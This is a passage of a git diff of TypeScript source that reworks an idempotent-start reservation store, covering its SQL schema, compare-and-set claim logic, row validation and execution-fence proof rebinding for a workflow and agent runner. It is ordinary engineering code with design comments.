ReservationSchemaError(`row is missing ${name}`); - captured[name] = row[name]; - } - if (!isPathSafeId(captured.key)) - throw new ReservationSchemaError('admission key is invalid'); - if (!isPathSafeId(captured.run_id)) - throw new ReservationSchemaError('admission run id is invalid'); - if (!isPathSafeId(captured.target_id)) - throw new ReservationSchemaError('admission target id is invalid'); - if (captured.target_kind === 'workflow' && captured.thread_id !== null) - throw new ReservationSchemaError('admission workflow thread must be null'); - if (captured.target_kind === 'agent' && !isPathSafeId(captured.thread_id)) - throw new ReservationSchemaError('admission agent thread is invalid'); - normalizeStartIdentity({ - owner: { kind: captured.owner_kind, id: captured.owner_id }, - target: { - kind: captured.target_kind, - id: captured.target_id, - ...(captured.thread_id === null ? {} : { threadId: captured.thread_id }), - }, - }); - const reservation = reservationFromRow(captured, stage); - return Object.freeze({ - ...reservation, - owner: Object.freeze(reservation.owner), - binding: Object.freeze(reservation.binding), - }); -} - -/** @internal Decode current-stage data before compatible thread normalization. */ -export function decodeStartReservationAdmissionResult( - result: unknown, -): StartReservationReading | undefined { - const rows = reservationResultRows(result); - if (rows.length > 1) - throw new ReservationSchemaError('admission returned multiple rows'); - return rows[0] === undefined - ? undefined - : admissionReservationFromRow(rows[0], 3); -} - -function reservationSchemaStage( - result: unknown, -): StartReservationSchemaStage | undefined { - const columns = reservationResultRows(result); - if (columns.length === 0) return undefined; - if (columns.length < 10 || columns.length > START_IDEMPOTENCY_COLUMNS.length) - throw new ReservationSchemaError('unexpected columns'); - for (const [index, actual] of columns.entries()) { - const expected = START_IDEMPOTENCY_COLUMNS[index]; - if (expected === undefined) - throw new ReservationSchemaError('unexpected columns'); - const [name, type, notnull, pk] = expected; - if ( - actual.name !== name || - actual.type !== type || - actual.notnull !== notnull || - actual.pk !== pk || - actual.dflt_value !== null || - actual.hidden !== 0 - ) - throw new ReservationSchemaError(`column ${name} differs`); - } - return (columns.length - 10) as StartReservationSchemaStage; -} - -/** @internal Validate already-observed PRAGMA data without another query. */ -export function validateStartReservationAdmissionSchema(result: unknown): void { - if (reservationSchemaStage(result) !== 3) - throw new ReservationSchemaError('admission requires current schema'); -} - /** * A reservation exists but cannot be understood, or the table could not be * read. 503 and never "no reservation": the absent answer is the one that @@ -967,40 +699,8 @@ export class StartIdempotencyStore { async reserve( request: StartReservationRequest, ): Promise { - const key = assertKey(request.key); - const owner = assertOwner(request.owner); - const { targetKind, targetId, threadId, mintRunId } = request; - if (!isStartTargetKind(targetKind)) { - throw new InvalidStartIdempotencyRequestError( - `target kind must be one of ${START_TARGET_KINDS.join(', ')}`, - ); - } - if (!isPathSafeId(targetId)) { - throw new InvalidStartIdempotencyRequestError( - 'target id must be a URL-path-safe identifier', - ); - } - // The thread is the agent run's ADDRESS, so requiring it for agents and - // rejecting it for workflows is not tidiness: an agent reservation without - // one is a run a retry can never reach, and a workflow reservation WITH one - // is a second, silently divergent copy of an address that is already - // derivable from (workflowId, runId). - if (targetKind === 'agent') { - if (!isPathSafeId(threadId)) { - throw new InvalidStartIdempotencyRequestError( - 'an agent start reservation requires a URL-path-safe threadId', - ); - } - } else if (threadId !== undefined) { - throw new InvalidStartIdempotencyRequestError( - 'threadId applies only to agent start reservations', - ); - } - if (typeof mintRunId !== 'function') { - throw new InvalidStartIdempotencyRequestError( - 'mintRunId must be a function', - ); - } + const { key, owner, targetKind, targetId, threadId, mintRunId } = + captureStartRequest(request); try { await this.#ready(); } catch (error) { @@ -1018,8 +718,8 @@ export class StartIdempotencyStore { .prepare( `INSERT OR IGNORE INTO ${START_IDEMPOTENCY_TABLE} (key, owner_kind, owner_id, target_kind, target_id, run_id, - thread_id, state, created_at, updated_at) - VALUES (?, ?, ?, ?, ?, ?, ?, 'reserved', ?, ?)`, + thread_id, state, created_at, updated_at, start_token, start_table_prefix, start_workflow_id) + VALUES (?, ?, ?, ?, ?, ?, ?, 'reserved', ?, ?, '', NULL, NULL)`, ) .bind( key, @@ -1060,43 +760,7 @@ export class StartIdempotencyStore { }; } - /** - * Take the claim: `reserved` -> `started`, for this exact run. - * - * ONE conditional UPDATE, and the whole cross-isolate serialization of the - * feature. Exactly one caller changes a row; every other caller sees zero - * changes and must go and find out what the winner did rather than starting - * anything. The `run_id` predicate rides along so a claim can never land on a - * row that was rewritten underneath it. - * - * Never creates the table: a claim can only ever follow a reserve, which did. - */ - async claim(key: string, runId: string): Promise { - return this.#casState(key, runId, 'reserved', 'started'); - } - - /** - * Give the claim back: `started` -> `reserved`, for this exact run. - * - * The ONLY backwards transition, and it exists for exactly one caller: a - * start the EXECUTION FENCE refused. That refusal is special because it is - * provably pre-execution — the fence is read before the run lock and before - * any storage write — so the claim it consumed bought nothing and holding on - * to it would manufacture an UNRESOLVABLE reservation out of an operator - * action. Leaving the claim taken would mean a deployment that drained, - * migrated, and reopened had permanently poisoned every key that happened to - * be in flight. - * - * It is deliberately NOT used for other start failures. Anything that reached - * the runtime's execution path may have taken effect, and a rollback there - * would hand the next retry a fresh run — the exact double-charge this whole - * module exists to prevent. - */ - async release(key: string, runId: string): Promise { - return this.#casState(key, runId, 'started', 'reserved'); - } - - /** @internal Claim only this observed modern-unbound reservation. */ + /** Claim only this observed modern-unbound reservation. */ async claimReservation( observed: StartReservationReading, ): Promise { @@ -1144,7 +808,7 @@ export class StartIdempotencyStore { } } - /** @internal Release only the exact unbound claim, without readback recovery. */ + /** Release only the exact unbound claim, without readback recovery. */ async releaseReservation( observed: StartReservationReading, ): Promise { @@ -1195,7 +859,7 @@ export class StartIdempotencyStore { } } - /** @internal Associate an alias with an already-observed nonpending execution. */ + /** Associate an alias with an already-observed nonpending execution. */ async associateReservation( observed: StartReservationReading, execution: StartExecutionIdentity, @@ -1275,7 +939,7 @@ export class StartIdempotencyStore { throw new RunAdmissionConflictError('reservation-changed'); } - /** @internal Bind a prepared start; only exact lost-write readback can recover. */ + /** Bind a prepared start; only exact lost-write readback can recover. */ async bindPreparedStart( observed: StartReservationReading, execution: StartExecutionIdentity, @@ -1351,7 +1015,7 @@ export class StartIdempotencyStore { throw new RunAdmissionConflictError('reservation-changed'); } - /** @internal Settle every alias of this complete physical/logical execution. */ + /** Settle every alias of this complete physical/logical execution. */ async settleExecution(execution: StartExecutionIdentity): Promise { const identity = normalizeStartExecutionIdentity(execution); const clock = this.#reservationClock(identity.runId); @@ -1439,39 +1103,6 @@ export class StartIdempotencyStore { } } - /** - * Terminal reconcile, keyed by RUN rather than by key: the runtime observes a - * run reaching a terminal state and has no idea which key (if any) named it. - * - * Idempotent by construction (`state <> 'terminal'`), so the several places a - * run can reach terminal — completing, failing, being cancelled, timing out — - * can all call it without coordinating, and a re-entry after a crash is a - * no-op rather than a conflict. - * - * Returns the number of reservations settled, which is 0 for the overwhelming - * majority of runs (nobody used a key) and 1 for the rest. - */ - async settleRun(runId: string): Promise { - if (!isPathSafeId(runId)) return 0; - try { - return changesOf( - await this.#db - .prepare( - `UPDATE ${START_IDEMPOTENCY_TABLE} - SET state = 'terminal', updated_at = ? - WHERE run_id = ? AND state <> 'terminal'`, - ) - .bind(this.#now(), runId) - .run(), - ); - } catch (error) { - // A database with no reservation table has no reservation to settle. Any - // other fault is real and must not be mistaken for "nothing to do". - if (isMissingReservationTable(error)) return 0; - throw new StartReservationUnreadableError(runId, { cause: error }); - } - } - /** * Read one reservation. A PURE read: no lazy DDL, no upsert, nothing that * would make consulting a key mutate the database — which is what lets a @@ -1659,39 +1290,6 @@ export class StartIdempotencyStore { } return rows; } - - async #casState( - key: string, - runId: string, - from: StartReservationState, - to: StartReservationState, - ): Promise { - const safeKey = assertKey(key); - if (!isPathSafeId(runId)) { - throw new InvalidStartIdempotencyRequestError( - 'reservation runId must be a URL-path-safe identifier', - ); - } - try { - return ( - changesOf( - await this.#db - .prepare( - `UPDATE ${START_IDEMPOTENCY_TABLE} - SET state = ?, updated_at = ? - WHERE key = ? AND run_id = ? AND state = ?`, - ) - .bind(to, this.#now(), safeKey, runId, from) - .run(), - ) > 0 - ); - } catch (error) { - // No table means no reservation, so no transition happened — which is - // exactly what `false` says, and the caller's replay path handles it. - if (isMissingReservationTable(error)) return false; - throw new StartReservationUnreadableError(safeKey, { cause: error }); - } - } } // --------------------------------------------------------------------------- @@ -1706,252 +1304,228 @@ export class StartIdempotencyStore { // its liveness are read from, which is exactly what the injected surface says. // --------------------------------------------------------------------------- -/** The two surface-specific reads the replay decision needs. */ -export interface IdempotentStartSurface { - /** - * The reserved run's persisted state, or undefined when nothing has been - * persisted yet. This is the FIRST question asked on every replay, because a - * persisted run makes every other branch moot: the work happened, its outcome - * is readable, and the honest answer to the retry is that outcome. - */ - persisted(reservation: StartReservation): Promise; - /** - * Whether the reserved run is executing RIGHT NOW — asked only when nothing - * is persisted, and only to separate "still working" from "died holding the - * claim". Never a timer (see the module header). - * - * KNOWN WINDOW — the claim-to-dispatch gap. The winning CAS lands on the - * Worker, and the object that would report the run live only learns about it - * one dispatch later. A concurrent retry probing inside that gap is told - * UNRESOLVABLE for a run that is about to execute perfectly well. - * - * That is a FALSE ALARM, never a lost or duplicated run: the claim still - * stands, the winner still executes, and the caller's next retry replays the - * persisted summary. Closing it would take moving the claim into the target - * object itself, so that `started` becomes observable only from inside the - * body that is already executing. It is deliberately NOT closed with a grace - * period: a bound short enough to cover a dispatch is indistinguishable from - * the timer this design rejected, and once a timer exists somebody will grow - * it to cover a slow run and re-open the double-charge it was rejected for. - */ - live(reservation: StartReservation): Promise; -} - -/** What a surface must do next, once the reservation has been resolved. */ -export type IdempotentStartDecision = - | { - /** Nobody has started this key's run: proceed, using THIS runId. */ - kind: 'start'; - reservation: StartReservation; - } +export type PersistedStartResult = + | { readonly kind: 'initial'; readonly execution: StartExecutionIdentity } | { - /** The run already exists: answer with its persisted state, unchanged. */ - kind: 'replay'; - reservation: StartReservation; - persisted: TPersisted; + readonly kind: 'result'; + readonly value: T; + readonly execution: StartExecutionIdentity; }; -/** - * Resolve an idempotency key into "start this run" or "replay that one". - * - * The order of the checks below IS the semantics: - * - * 1. Reserve. A brand-new key that also wins the claim is the only path that - * starts anything. - * 2. Persisted state, BEFORE the reservation's own state. A run that persisted - * is answerable whatever the reservation says, and reading the row's state - * first would let a stale `started` refuse a retry whose run is sitting - * right there, finished. - * 3. `reserved` with nothing persisted means the first caller died between the - * insert and the claim, having executed nothing — so this caller may take - * the claim and proceed with the SAME runId. That convergence is what makes - * a crashed reservation self-healing instead of a wedged key. - * 4. `started` with nothing persisted is the only ambiguous state in the - * system, and the liveness probe is what resolves it. - * 5. `terminal` with nothing persisted is a completed run whose summary aged - * out. Spent, never re-run. - * - * Throws the applicable structured taxonomy errors; a surface renders them - * through `doErrorResponse` (or its router's equivalent) with no re-mapping. - * Across the public keyed-start surface the eight codes are the five decision - * refusals — IDEMPOTENT_START_OWNER_MISMATCH (403), - * IDEMPOTENT_START_TARGET_MISMATCH (409), IDEMPOTENT_START_PENDING - * (503), IDEMPOTENT_START_UNRESOLVABLE (409), and - * IDEMPOTENT_START_ALREADY_SETTLED (409) — plus IDEMPOTENT_START_UNSUPPORTED - * (503), INVALID_START_IDEMPOTENCY_REQUEST (400), and - * IDEMPOTENT_START_UNREADABLE (503). - */ -export async function beginIdempotentStart( +export interface IdempotentStartSurface { + persisted( + reservation: StartReservationReading, + ): Promise | undefined>; + live(reservation: StartReservationReading): Promise; +} + +export type IdempotentStartDecision = + | { kind: 'start'; reservation: StartReservationReading } + | { kind: 'replay'; reservation: StartReservationReading; persisted: T }; + +export async function beginIdempotentStart( store: StartIdempotencyStore, request: StartReservationRequest, - surface: IdempotentStartSurface, + surface: IdempotentStartSurface, fence?: ExecutionFenceWiring, -): Promise> { - const { reservation, created } = await store.reserve(request); - if (created && (await store.claim(reservation.key, reservation.runId))) { - return { kind: 'start', reservation }; + mutationEpoch?: number, +): Promise> { + const capturedRequest = captureStartRequest(request); + const epoch = normalizeMutationEpoch(mutationEpoch); + const { persisted, live } = surface; + const capturedSurface: IdempotentStartSurface = { + persisted: (row) => Reflect.apply(persisted, surface, [row]), + live: (row) => Reflect.apply(live, surface, [row]), + }; + let proof: ProofEntryExpectation | undefined; + if (fence !== undefined && fence !== 'none') { + try { + const reading = await fence.read(); + if ( + reading.state === 'proof-only' && + reading.proofKey === capturedRequest.key + ) + proof = Object.freeze({ + key: capturedRequest.key, + mutationEpoch: reading.mutationEpoch, + transitionRevision: reading.transitionRevision, + }); + } catch { + /* A failed observation cannot authorize nomination. */ + } } - const decision = await resolveExistingReservation( - store, - reservation, - surface, - ); - if (decision.kind === 'replay') { - await rebindProofRun(fence, decision.reservation); + const { reservation, created } = await store.reserve(capturedRequest); + let decision: IdempotentStartDecision; + // A creator can read back another caller's released reservation. + if ( + created && + reservation.binding.kind === 'unbound' && + reservation.state === 'reserved' && + reservation.updatedAt === reservation.createdAt + ) { + const claimed = await store.claimReservation(reservation); + if (claimed !== undefined) return { kind: 'start', reservation: claimed }; + decision = await resolveLostClaim(store, reservation, capturedSurface); + } else + decision = await resolveExistingReservation( + store, + reservation, + capturedSurface, + true, + ); + if ( + decision.kind === 'replay' && + proof !== undefined && + fence !== undefined && + fence !== 'none' + ) { + const row = decision.reservation; + if ( + row.binding.kind === 'bound' && + row.binding.execution.tablePrefix !== null + ) { + try { + if (row.targetKind === 'agent' && row.threadId === undefined) + throw new InvalidExecutionIdentityError('admission'); + await fence.rebindProofRun({ + reservation: row, + execution: { + ...row.binding.execution, + tablePrefix: row.binding.execution.tablePrefix, + owner: row.owner, + target: + row.targetKind === 'agent' + ? { + kind: 'agent', + id: row.targetId, + threadId: row.threadId as string, + } + : { kind: 'workflow', id: row.targetId }, + }, + proof, + mutationEpoch: epoch, + reservationStore: store, + }); + } catch (error) { + console.error( + JSON.stringify({ + type: 'start-reservation-proof-rebind-failed', + key: row.key, + runId: row.runId, + error: error instanceof Error ? error.message : String(error), + }), + ); + } + } } return decision; } -/** - * Re-assert a proof-only fence's binding to the run this key already made. - * - * The binding is written by `RunnerRuntime.start`, which a REPLAY never - * reaches — so without this, a proof run whose fence lost its `proof_run_id` - * (the fence was moved away and back onto the same key while its run survived) - * would be a run the deployment can read but can no longer RESUME: proof-only - * admits existing work only for `proof_run_id`, and there would be none. - * - * Every guard lives in `recordProofRun`'s own CAS, which is why this can be - * unconditional and best-effort: it changes nothing unless the fence is in - * proof-only under EXACTLY this key with the slot empty or already holding this - * run. A different key, a different state, a different proof run — all are zero - * rows and no harm. A failure is swallowed rather than raised, because the - * caller is being handed the persisted state of a run that already happened, - * and refusing that read would answer a successful retry with an error while - * changing nothing about the run. - */ -async function rebindProofRun( - fence: ExecutionFenceWiring | undefined, - reservation: StartReservation, -): Promise { - if (fence === undefined || fence === 'none') return; +function decodePersistedStart( + value: PersistedStartResult, + row: StartReservationReading, +): PersistedStartResult { try { - // The reservation KEY is passed as the fence's PROOF KEY: proof-only - // nominates one idempotency key, and `admitsRunStart` admits the start - // carrying it — so the two identifiers are the same string by construction, - // and a rebind for any other key is the zero-row no-op described above. - await fence.recordProofRun(reservation.key, reservation.runId); - } catch (error) { - console.error( - JSON.stringify({ - type: 'start-reservation-proof-rebind-failed', - key: reservation.key, - runId: reservation.runId, - error: error instanceof Error ? error.message : String(error), - }), - ); + if ( + value === null || + typeof value !== 'object' || + Array.isArray(value) || + !Object.hasOwn(value, 'kind') || + !Object.hasOwn(value, 'execution') + ) + throw new Error('persisted start result is malformed'); + const { kind, execution: raw } = value; + if ( + (kind !== 'initial' && kind !== 'result') || + (kind === 'initial' + ? Object.hasOwn(value, 'value') + : !Object.hasOwn(value, 'value')) + ) + throw new Error('persisted start result is malformed'); + const { tablePrefix, workflowId, runId, startToken, owner, target } = raw; + const execution = normalizeStartExecutionIdentity({ + tablePrefix, + workflowId, + runId, + startToken, + owner, + target, + }); + if (execution.tablePrefix !== tablePrefix) + throw new Error('persisted start prefix is not canonical'); + assertReservationStartIdentity(row, execution); + return kind === 'initial' + ? { kind, execution } + : { kind, execution, value: value.value }; + } catch (cause) { + throw new StartReservationUnreadableError(row.key, { cause }); } } -async function resolveExistingReservation( +async function resolveExistingReservation( store: StartIdempotencyStore, - observed: StartReservation, - surface: IdempotentStartSurface, -): Promise> { - const persisted = await surface.persisted(observed); - if (persisted !== undefined) { - return { kind: 'replay', reservation: observed, persisted }; + observed: StartReservationReading, + surface: IdempotentStartSurface, + mayClaim: boolean, +): Promise> { + if (observed.binding.kind === 'legacy') { + if (observed.state === 'terminal') + throw new IdempotentStartAlreadySettledError(observed); + throw new IdempotentStartUnresolvableError(observed); } - if (observed.state === 'reserved') { - if (await store.claim(observed.key, observed.runId)) { - return { kind: 'start', reservation: observed }; + const value = await surface.persisted(observed); + if (value !== undefined) { + const persisted = decodePersistedStart(value, observed); + if ( + observed.binding.kind === 'bound' && + !sameReservationExecution(observed, persisted.execution) + ) { + if (observed.state === 'terminal') + throw new IdempotentStartAlreadySettledError(observed); + throw new IdempotentStartUnresolvableError(observed); } - // The claim was taken between the read and here. Re-read rather than - // assuming: the winner may already have persisted, in which case the right - // answer is its outcome and not a refusal. - const current = await store.read(observed.key); - if (current === undefined || current.runId !== observed.runId) { - // The reservation vanished or was replaced under us. Refusing is the only - // safe answer — a caller that retries gets a clean reserve, while - // silently starting here would start a run under an id nothing reserved. - throw new StartReservationUnreadableError(observed.key); + if (persisted.kind === 'result') { + if (observed.binding.kind === 'bound') + return { + kind: 'replay', + reservation: observed, + persisted: persisted.value, + }; + if (observed.state === 'terminal') + throw new IdempotentStartAlreadySettledError(observed); + const reservation = await store.associateReservation( + observed, + persisted.execution, + ); + return { kind: 'replay', reservation, persisted: persisted.value }; } - return resolveClaimedReservation(current, surface); - } - return resolveClaimedReservation(observed, surface); -} - -async function resolveClaimedReservation( - reservation: StartReservation, - surface: IdempotentStartSurface, -): Promise> { - if (reservation.state === 'terminal') { - throw new IdempotentStartAlreadySettledError(reservation); - } - if (await surface.live(reservation)) { - throw new IdempotentStartPendingError(reservation); + } else if ( + mayClaim && + observed.state === 'reserved' && + observed.binding.kind === 'unbound' + ) { + if (await surface.live(observed)) + throw new IdempotentStartPendingError(observed); + const claimed = await store.claimReservation(observed); + if (claimed !== undefined) return { kind: 'start', reservation: claimed }; + return resolveLostClaim(store, observed, surface); } - throw new IdempotentStartUnresolvableError(reservation); + if (observed.state === 'terminal') + throw new IdempotentStartAlreadySettledError(observed); + if (await surface.live(observed)) + throw new IdempotentStartPendingError(observed); + throw new IdempotentStartUnresolvableError(observed); } -/** - * Give back a claim that the EXECUTION FENCE refused, then re-throw. - * - * Homed here, beside the state machine, rather than written out at each start - * site: the rollback is only correct for this one error family, and a copy that - * widened its catch — to "any start failure", say — would hand the next retry a - * fresh run after a start that may well have executed. Keeping the predicate - * and the CAS in one function is what stops that widening from being a one-line - * edit somebody makes in a hurry. - * - * THE CLASS INVARIANT THIS RELIES ON. Giving a claim back is only sound for a - * failure that provably executed NOTHING, and that is a property of the two - * fence refusal codes rather than of the JavaScript class carrying them: - * - * EXECUTION_FENCED is authored at a gate — the run object's start - * route, before any of its own reads or writes, - * and `RunnerRuntime.#assertStartFence`, before - * the run lock and before core mints anything. - * EXECUTION_FENCE_UNREADABLE is authored by the fence READ that fronts those - * same gates, which is even earlier. - * - * Neither code is reachable from anywhere past the point of execution, so a - * refusal carrying one is pre-execution wherever it was observed. - * - * Which is why the predicate is `isExecutionFenceRefusal` — the widened one, - * which admits the wire rebuild — and NOT `instanceof ExecutionFencedError`. - * Both of this function's callers sit on the far side of a Durable Object - * boundary in every DO-backed host: the run object throws, `doErrorResponse` - * renders, and `doSummary` (or the agent topology's `errorFrom`) rebuilds a - * `RunRouteError` carrying the same status and the same structured reason but - * not the same class. An instanceof-only test would answer "not a fence - * refusal" for exactly the deployments this rollback exists to protect, and a - * drained-then-reopened deployment would find every key that was in flight - * permanently stuck at UNRESOLVABLE. In-process hosts (a `{ storage }` runtime - * wired straight into the router) do throw the class, so both shapes are live - * and one predicate has to cover them. - * - * The rollback itself is best-effort: it runs while the deployment is already - * refusing to execute, so its own failure must not replace the fence's refusal - * with a storage error the caller cannot act on. A rollback that does not land - * leaves an UNRESOLVABLE reservation — recoverable by investigation — while a - * swallowed fence refusal would leave the caller believing the deployment is - * broken rather than fenced. - */ -export async function rollbackFencedStart( +async function resolveLostClaim( store: StartIdempotencyStore, - key: string, - runId: string, - error: unknown, -): Promise { - if (isExecutionFenceRefusal(error)) { - try { - await store.release(key, runId); - } catch (rollbackError) { - console.error( - JSON.stringify({ - type: 'start-reservation-rollback-failed', - key, - runId, - error: - rollbackError instanceof Error - ? rollbackError.message - : String(rollbackError), - }), - ); - } - } - throw error; + observed: StartReservationReading, + surface: IdempotentStartSurface, +): Promise> { + const current = await store.readForAdmission(observed.key); + if (current === undefined || !sameReservationIdentity(current, observed)) + throw new StartReservationUnreadableError(observed.key); + return resolveExistingReservation(store, current, surface, false); } /** diff --git a/packages/flowsafe/src/do-runner/start-reservation-contract.ts b/packages/flowsafe/src/do-runner/start-reservation-contract.ts index cb3045d2..1b167cf2 100644 --- a/packages/flowsafe/src/do-runner/start-reservation-contract.ts +++ b/packages/flowsafe/src/do-runner/start-reservation-contract.ts @@ -1,8 +1,14 @@ // SPDX-License-Identifier: Apache-2.0 -import type { ExecutionPrincipalKind } from '../approval-api/principal-identity.js'; +import { + EXECUTION_PRINCIPAL_KINDS, + type ExecutionPrincipalKind, + isExecutionPrincipalId, + isExecutionPrincipalKind, +} from '../approval-api/principal-identity.js'; import { InvalidExecutionIdentityError, + normalizeRunExecutionIdentity, normalizeStartIdentity, type RunExecutionIdentity, } from './execution-admission.js'; @@ -21,9 +27,8 @@ export const START_RESERVATION_STATES = [ * started one caller won the claim and is (or was) executing * terminal the run reached a terminal state; the key is spent * - * The states only ever move forward, with ONE exception: a start refused by the - * execution fence rolls `started` back to `reserved` (see `release`), because a - * fence refusal is the one failure that provably executed nothing. + * States move forward except for an exact, unbound claim released after local + * preflight or definitive no-insert evidence proves no execution was admitted. */ export type StartReservationState = (typeof START_RESERVATION_STATES)[number]; @@ -152,3 +157,392 @@ export function sameReservationIdentity( actual.createdAt === expected.createdAt ); } + +export const START_IDEMPOTENCY_TABLE = 'flowsafe_start_idempotency'; + +const STATE_CHECK = START_RESERVATION_STATES.map((state) => `'${state}'`).join( + ', ', +); +const TARGET_CHECK = START_TARGET_KINDS.map((kind) => `'${kind}'`).join(', '); +/** + * Built from the principal vocabulary rather than hand-written, so a kind added + * to `EXECUTION_PRINCIPAL_KINDS` cannot leave this constraint behind. The + * failure a stale literal would cause is not a compile error and not a rejected + * write on an existing deployment: `CREATE TABLE IF NOT EXISTS` is a no-op + * against a table that already exists, so the drift would show up only as an + * INSERT refused on whichever database happened to be created after the new + * kind shipped. + */ +const OWNER_KIND_CHECK = EXECUTION_PRINCIPAL_KINDS.map( + (kind) => `'${kind}'`, +).join(', '); + +/** + * The reservation schema. + * + * The CHECK constraints are load-bearing, not decoration: every compare-and-set + * below is stated as `WHERE ... AND state = ''`, which is only a TOTAL + * decision while the column cannot hold a fourth value. A row hand-edited into + * an unknown state would otherwise be a reservation no CAS can advance and no + * purge can reap — a permanently wedged key. + */ +const START_IDEMPOTENCY_BASE_COLUMNS = ` + key TEXT PRIMARY KEY, + owner_kind TEXT NOT NULL CHECK (owner_kind IN (${OWNER_KIND_CHECK})), + owner_id TEXT NOT NULL, + target_kind TEXT NOT NULL CHECK (target_kind IN (${TARGET_CHECK})), + target_id TEXT NOT NULL, + run_id TEXT NOT NULL, + thread_id TEXT, + state TEXT NOT NULL CHECK (state IN (${STATE_CHECK})), + created_at INTEGER NOT NULL, + updated_at INTEGER NOT NULL`; +export const START_IDEMPOTENCY_ADDITIONS = [ + 'start_token TEXT', + 'start_table_prefix TEXT', + 'start_workflow_id TEXT', +] as const; +export const START_IDEMPOTENCY_COLUMNS = [ + ['key', 'TEXT', 0, 1], + ['owner_kind', 'TEXT', 1, 0], + ['owner_id', 'TEXT', 1, 0], + ['target_kind', 'TEXT', 1, 0], + ['target_id', 'TEXT', 1, 0], + ['run_id', 'TEXT', 1, 0], + ['thread_id', 'TEXT', 0, 0], + ['state', 'TEXT', 1, 0], + ['created_at', 'INTEGER', 1, 0], + ['updated_at', 'INTEGER', 1, 0], + ['start_token', 'TEXT', 0, 0], + ['start_table_prefix', 'TEXT', 0, 0], + ['start_workflow_id', 'TEXT', 0, 0], +] as const; +export type StartReservationSchemaStage = 0 | 1 | 2 | 3; + +export const START_IDEMPOTENCY_DDL = `CREATE TABLE IF NOT EXISTS ${START_IDEMPOTENCY_TABLE} (${START_IDEMPOTENCY_BASE_COLUMNS}, + ${START_IDEMPOTENCY_ADDITIONS.join(',\n ')} + )`; + +/** + * `run_id` is how the RUNTIME finds a reservation (terminal reconcile knows the + * run, never the key) and how the purge pairs a reservation with the snapshot + * it outlived. Without the index both degrade to a table scan on every terminal + * run. + */ +export const START_IDEMPOTENCY_RUN_INDEX_DDL = `CREATE INDEX IF NOT EXISTS ${START_IDEMPOTENCY_TABLE}_run + ON ${START_IDEMPOTENCY_TABLE} (run_id)`; + +/** The purge's own access path: terminal rows past the key-validity horizon. */ +export const START_IDEMPOTENCY_STATE_INDEX_DDL = `CREATE INDEX IF NOT EXISTS ${START_IDEMPOTENCY_TABLE}_state + ON ${START_IDEMPOTENCY_TABLE} (state, updated_at)`; + +export type StartReservationRow = Readonly>; + +export class ReservationSchemaError extends Error { + constructor(reason: string) { + super( + `${START_IDEMPOTENCY_TABLE} has an invalid reservation schema (${reason})`, + ); + this.name = 'ReservationSchemaError'; + } +} + +export function reservationResultRows(result: unknown): StartReservationRow[] { + if ( + result === null || + typeof result !== 'object' || + ('success' in result && result.success !== true) || + !('results' in result) + ) { + throw new Error('reservation statement returned an invalid result'); + } + const rows: unknown = result.results; + if (!Array.isArray(rows)) + throw new Error('reservation statement returned an invalid result'); + const length = rows.length; + if (!Number.isSafeInteger(length) || length < 0) + throw new Error('reservation statement returned an invalid result'); + return Array.from({ length }, (_, index) => { + if (!Object.hasOwn(rows, index)) + throw new Error('reservation statement returned an invalid row'); + const row = rows[index]; + if (row === null || typeof row !== 'object' || Array.isArray(row)) { + throw new Error('reservation statement returned an invalid row'); + } + return row; + }); +} + +function reservationBinding( + row: StartReservationRow, + schemaStage: StartReservationSchemaStage, +): StartReservationBinding { + let stage = 0; + let missing = false; + for (const [name] of START_IDEMPOTENCY_COLUMNS.slice(10)) { + if (Object.hasOwn(row, name)) { + if (missing) + throw new ReservationSchemaError('binding prefix has a hole'); + stage += 1; + } else missing = true; + } + if (stage > schemaStage) + throw new ReservationSchemaError('schema observation precedes row binding'); + if (stage < 3) { + for (const [name] of START_IDEMPOTENCY_COLUMNS.slice(10, 10 + stage)) { + if (row[name] !== null) + throw new ReservationSchemaError( + 'partial binding is not legacy defaults', + ); + } + return { kind: 'legacy' }; + } + const { + start_token: token, + start_table_prefix: prefix, + start_workflow_id: workflowId, + } = row; + if (prefix === null && workflowId === null) { + if (token === null) return { kind: 'legacy' }; + if (token === '') return { kind: 'unbound' }; + } + const execution = normalizeRunExecutionIdentity({ + tablePrefix: prefix, + workflowId, + runId: row.run_id, + startToken: token, + }); + if (execution.tablePrefix !== prefix) + throw new ReservationSchemaError('binding prefix is not canonical'); + normalizeStartIdentity({ + owner: { kind: row.owner_kind, id: row.owner_id }, + target: { + kind: row.target_kind, + id: row.target_id, + ...(row.thread_id === null ? {} : { threadId: row.thread_id }), + }, + }); + return { kind: 'bound', execution }; +} + +function isStartReservationState( + value: unknown, +): value is StartReservationState { + return ( + typeof value === 'string' && + (START_RESERVATION_STATES as readonly string[]).includes(value) + ); +} + +export function isStartTargetKind(value: unknown): value is StartTargetKind { + return ( + typeof value === 'string' && + (START_TARGET_KINDS as readonly string[]).includes(value) + ); +} + +function isEpochMs(value: unknown): value is number { + return typeof value === 'number' && Number.isFinite(value); +} + +/** + * Project a stored row, or refuse it. + * + * A malformed row throws rather than reading as absent, and that direction is + * deliberate: "there is no reservation" is the answer that STARTS A RUN, so it + * must never be reachable from a row this build cannot parse. The CHECK + * constraints make this unreachable on a database this package created; it + * exists for the one that was hand-edited. + * + * The TIMESTAMPS are in that strict set too, rather than coerced to 0 as an + * unparseable number once was. Neither column is decoration: `updated_at` is + * the horizon the purge measures from, so a corrupt one on a terminal row reads + * as epoch 0 and makes the reservation immediately reapable — which deletes a + * spent key early and turns the next retry of it into a fresh start. It is also + * `pendingSince` on a live claim, where 0 tells an operator a run has been + * starting since 1970. Refusing the row keeps both faults visible as the 503 + * they are. + */ +export function reservationFromRow( + row: StartReservationRow, + schemaStage: StartReservationSchemaStage, +): StartReservationReading { + for (const [name] of START_IDEMPOTENCY_COLUMNS.slice(0, 10)) { + if (!Object.hasOwn(row, name)) + throw new ReservationSchemaError(`row is missing ${name}`); + } + const { + key, + owner_kind: ownerKind, + owner_id: ownerId, + target_kind: targetKind, + target_id: targetId, + run_id: runId, + thread_id: threadId, + state, + created_at: createdAt, + updated_at: updatedAt, + } = row; + if ( + typeof key !== 'string' || + !isExecutionPrincipalKind(ownerKind) || + !isExecutionPrincipalId(ownerId) || + !isStartTargetKind(targetKind) || + typeof targetId !== 'string' || + !isPathSafeId(runId) || + !isStartReservationState(state) || + !isEpochMs(createdAt) || + !isEpochMs(updatedAt) + ) { + throw new Error('start reservation row is malformed'); + } + return { + key, + owner: { kind: ownerKind, id: ownerId }, + targetKind, + targetId, + runId, + ...(isPathSafeId(threadId) ? { threadId } : {}), + state, + createdAt, + updatedAt, + binding: reservationBinding(row, schemaStage), + }; +} + +export function admissionReservationFromRow( + row: StartReservationRow, + stage: StartReservationSchemaStage, +): StartReservationReading { + if (stage !== 3) + throw new 